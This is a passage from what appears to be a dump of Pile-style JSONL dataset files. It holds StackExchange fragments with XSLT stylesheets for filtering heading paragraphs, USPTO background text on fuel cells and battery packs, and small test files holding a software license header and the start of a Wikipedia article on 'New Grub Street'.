pStyle=\"Heading4\">Para7<\/w:p>\n <w:p pStyle=\"Heading2\">Para8<\/w:p>\n <w:p pStyle=\"Heading3\">Para9<\/w:p>\n <w:p pStyle=\"Heading1\">Para10<\/w:p>\n <\/w:body>\n<\/w:document>\n\nthe wanted, correct result is produced:\n<w:document xmlns:w=\"Undefined!!!\">\n <w:body>\n <w:p pStyle=\"Heading1\">Para1<\/w:p>\n <w:p pStyle=\"Heading1\">Para5<\/w:p>\n <w:p pStyle=\"Heading2\">Para8<\/w:p>\n <w:p pStyle=\"Heading1\">Para10<\/w:p>\n <\/w:body>\n<\/w:document>\n\nThe corresponding XSLT 1.0 solution with overriding the identity rule is slightly simpler","metadata":{"pile_set_name":"StackExchange"},"id":984} {"contents":"due to XPath 1.0 lacking strong typing:\n<xsl:stylesheet version=\"1.0\"\n xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\n xmlns:w=\"Undefined!!!\">\n <xsl:output omit-xml-declaration=\"yes\" indent=\"yes\"\/>\n <xsl:strip-space elements=\"*\"\/>\n\n <xsl:template match=\"node()|@*\">\n <xsl:copy>\n <xsl:apply-templates select=\"node()|@*\"\/>\n <\/xsl:copy>\n <\/xsl:template>\n\n <xsl:template match=\n \"w:p[substring-after(@pStyle,'Heading')\n >=\n substring-after(preceding-sibling::*[1]\/@pStyle,'Heading')\n ]\"\/>\n<\/xsl:stylesheet>\n\nOr, you","metadata":{"pile_set_name":"StackExchange"},"id":985} {"contents":"can simply use the expressions from the start of this solution:\nXSLT 2.0:\n<xsl:stylesheet version=\"2.0\"\n xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\n xmlns:xs=\"http:\/\/www.w3.org\/2001\/XMLSchema\"\n xmlns:w=\"Undefined!!!\" exclude-result-prefixes=\"xs\">\n <xsl:output omit-xml-declaration=\"yes\" indent=\"yes\"\/>\n\n <xsl:template match=\"\/\">\n<w:document xmlns:w=\"Undefined!!!\">\n <w:body>\n <xsl:copy-of select=\n \"\/*\/*\/w:p[1]\n |\n \/*\/*\/w:p[position() ge 2]\n [xs:integer(substring-after(@pStyle,'Heading'))\n lt\n xs:integer(substring-after(preceding-sibling::*[1]\/@pStyle,'Heading'))\n ]\n ","metadata":{"pile_set_name":"StackExchange"},"id":986} {"contents":" \"\/>\n <\/w:body>\n <\/w:document>\n <\/xsl:template>\n<\/xsl:stylesheet>\n\nXSLT 1.0:\n<xsl:stylesheet version=\"1.0\"\n xmlns:xsl=\"http:\/\/www.w3.org\/1999\/XSL\/Transform\"\n xmlns:w=\"Undefined!!!\">\n <xsl:output omit-xml-declaration=\"yes\" indent=\"yes\"\/>\n\n <xsl:template match=\"\/\">\n<w:document xmlns:w=\"Undefined!!!\">\n <w:body>\n <xsl:copy-of select=\n \"\/*\/*\/w:p\n [not(substring-after(@pStyle,'Heading')\n >=\n substring-after(preceding-sibling::*[1]\/@pStyle,'Heading')\n )\n ]\n \"\/>\n <\/w:body>\n <\/w:document>\n <\/xsl:template>\n<\/xsl:stylesheet>\n\nAll of the above three XSLT transformations produce the","metadata":{"pile_set_name":"StackExchange"},"id":987} {"contents":"wanted, correct result.\n\n","metadata":{"pile_set_name":"StackExchange"},"id":988} {"contents":"A fuel cell comprises an electrolyte layer and a pair of electrodes placed on either side of the electrolyte layer, and generates electricity through an electrochemical reaction between fuel gas such as hydrogen and alcohol and oxidizing gas such as oxygen and air, which are supplied to the corresponding electrodes, with the aid of a catalyst. Depending on the electrolytic material used for the electrolyte layer, the fuel cell may be called as the phosphoric acid type, solid polymer type or molten carbonate type.\nIn particular, the solid polymer electrolyte (SPE) type fuel cell using an ion-exchange resin membrane for the electrolyte layer is considered to be highly promising because of the possibility of compact design, low operating temperature (100\u00b0 C. or lower), and high efficiency.\nThe SPE typically consists","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":989} {"contents":"of an ion-exchange resin membrane made of perfluorocarbonsulfonic acid (Nafion: tradename), phenolsulfonic acid, polyethylenesulfonic acid, polytrifluorosulfonic acid, and so on. A porous carbon sheet impregnated with a catalyst such as platinum powder is placed on each side of the ion-exchange resin membrane to serve as a gas diffusion electrode layer. This assembly is called as a membrane-electrode assembly (MEA). A fuel cell can be formed by defining a fuel gas passage on one side of the MEA and an oxidizing gas passage on the other side of the MEA by using flow distribution plates (separators).\nTypically, such fuel cells are stacked, and the flow distribution plates are shared by the adjacent fuel cells in the same stack. When forming such a stack, it is necessary to seal off the","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":990} {"contents":"passages defined on the surfaces of the MEAs from outside. Conventionally, gaskets were placed in the periphery of the interface between each adjoining pair of a MEA and a distribution plate. The contact area between the MEA and the gas diffusion electrode was ensured by pressing them together by applying an external force, typically with the aid of a suitable fastener. The required electric connection between the gas diffusion electrode and an electrode terminal connected to an external circuit was also ensured by pressing them together by applying an external force.\nHowever, because the material used for the gas diffusion electrode, such as a carbon sheet, has surface irregularities, and the electrode terminal for connection with an external circuit is allowed to contact the gas diffusion electrode while providing","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":991} {"contents":"flow paths for the fuel and oxidizer, the contact area between them is very much limited. Also, the SPE can function as an ion-exchange membrane only when impregnated with water, and the SPE when impregnated with water significantly changes its volume depending on the temperature. The flow distribution plates also expand and contract according to the temperature. The resulting stress affects the pressure that is applied to the fuel cell, and this prevents an accurate control of the pressure acting between the different layers of the fuel cell. In particular, it tends to prevent a reliable electric contact to be established between the electrode terminal and the gas diffusion electrode.\nThe carbon sheet is preferred as the material for the gas diffusion electrode, but cannot be made as thin","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":992} {"contents":"as desired (in the order of a few \u03bcm) in view of the handling. This tends to undesirably increase the thickness of each fuel cell. Also, the carbon sheet is required to be porous, but the catalyst in the form of fine powder tends to fill the pores of the carbon sheet. Such a loss of porosity of the carbon sheet reduces the diffusion rate of the fuel gas and oxidizer gas which in turn reduces the efficiency of the device.","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":993} {"contents":"1. Field of the Invention\nThe present invention relates to a battery pack for a computer system including static memory to retain battery operating parameters and charge information and a real time clock for measuring periods of non-use.\n2. Description of Related Art\nComputers are often needed in locations where AC power is not available. Rechargeable batteries are typically used as an alternative source of power, such as nickel-based batteries including nickel cadmium (NiCad) and nickel metal hydride (NiMH) batteries, which are capable of providing power to a portable or pen-based computer for several hours. Since rechargeable batteries have a limited cycle life, it is desirable to maximize the life of and to obtain the maximum power from each battery during every discharge cycle. To achieve these goals, it is necessary","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":994} {"contents":"to fully and efficiently charge the battery without causing temperature abuse as a result of overcharging.\nMany battery chargers presently in use do not efficiently charge a rechargeable battery, thereby limiting the useful life of the battery. The total charge capacity of a battery, typically referred to as the amp-hour (Ah) rating or otherwise called the milliamp-hour rating (mAh), tends to change over time and usage. For example, the charge of a battery typically increases and then decreases over time and usage until the battery eventually will not hold a charge and must be replaced. In particular, NiCad batteries exhibit a memory effect causing lower capacity after multiple partial charge and discharge cycles have occurred. Some battery chargers monitor the temperature and voltage to avoid fast charging when the","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":995} {"contents":"battery voltage is too low or when the battery temperature is not within an acceptable fast charging temperature range. Examples are disclosed in U.S. Pat. Nos. 5,136,231 and 5,382,893. These and most other known battery chargers do not have the capability to accurately determine the charge level and the total charge capacity and thus may still overcharge the battery, thereby further reducing its useful life.\nThe primary reason for temperature abuse and overcharging of nickel-based batteries was the difficulty of determining the charge level since the voltage is substantially the same regardless of the charge level. Furthermore, if the battery was removed and then later re-installed, the system had no way of determining the charge history and the remaining charge level of the battery. Some methods estimated the charge","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":996} {"contents":"level by monitoring the charge and discharge current through the battery over a period of time, but these methods still assumed an initial level of charge. These methods proved inaccurate when a partially discharged battery was used. Although the level of discharge may be measured for a single dedicated battery in a particular system, the battery is typically interchangeable with another in many systems, so that the system has no way of determining the charge level of a given battery. Also, rechargeable batteries tend to discharge during periods of non-use, referred to as self-discharge, so that a system which was shut off for a period of time and then powered up could not determine the amount of self-discharge that had occurred.\nOne particular technique used in personal computers, known","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":997} {"contents":"as \"Battery Watch\", estimates the amount of charge remaining based on the lapsed time of charge and discharge, and converts this to the useful time remaining. This technique has proven unreliable since it assumes that the total charge capacity of a battery does not change over time. Further, this technique fails to keep track of the charge-in and charge-out and does not account for the self-discharge.\nOne approach to solve most of these problems is disclosed in U.S. Pat. No. 5,315,228. A battery pack was disclosed which included a nickel-based battery, a microcontroller circuit and memory. Since the microcontroller circuitry was contained within the battery pack, it was capable of monitoring the battery charge status at all times by continually sampling the charge and discharge current through the battery","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":998} {"contents":"as well as the battery voltage and temperature while charging. The microcontroller used the battery charge status information to accurately calculate the total charge capacity and the remaining charge level in the battery. The memory stored the charge information and a communication means was provided to transfer the stored information to a computer system when the battery pack was installed in the computer.\nThe advantages of this system include the ability to recalculate the total capacity of the battery over time, to provide a fuel gauge to continually measure the remaining charge level of the battery at any given time and the ability to measure the battery self-discharge during periods of non-use. The local battery circuitry also controlled battery charging and used the above calculations to determine the optimal","metadata":{"pile_set_name":"USPTO Backgrounds"},"id":999} ================================================ FILE: tests/toy_target_data.jsonl ================================================ {"contents":"\/*\n * Copyright (c) 2015 Kaprica Security, Inc.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES","metadata":{"pile_set_name":"Github"},"id":0} ================================================ FILE: tests/toy_target_data_2.jsonl ================================================ {"contents":"New Grub Street\n\nNew Grub Street is a novel by George Gissing published in 1891, which is set in the literary and journalistic circles of 1880s London. Gissing revised and shortened the novel for a French edition of 1901.\n\nPlot\nThe story deals with the literary world that Gissing himself had experienced. Its title refers to the London street, Grub Street, which in the 18th century became synonymous with hack literature; by Gissing's time, Grub Street itself no longer existed, though hack-writing certainly did. Its two central characters are a sharply contrasted pair of writers: Edwin Reardon, a novelist of some talent but limited commercial prospects, and a shy, cerebral man; and Jasper Milvain, a young journalist, hard-working and capable of generosity, but cynical and only semi-scrupulous about writing and its","metadata":{"pile_set_name":"Wikipedia (en)"},"id":2}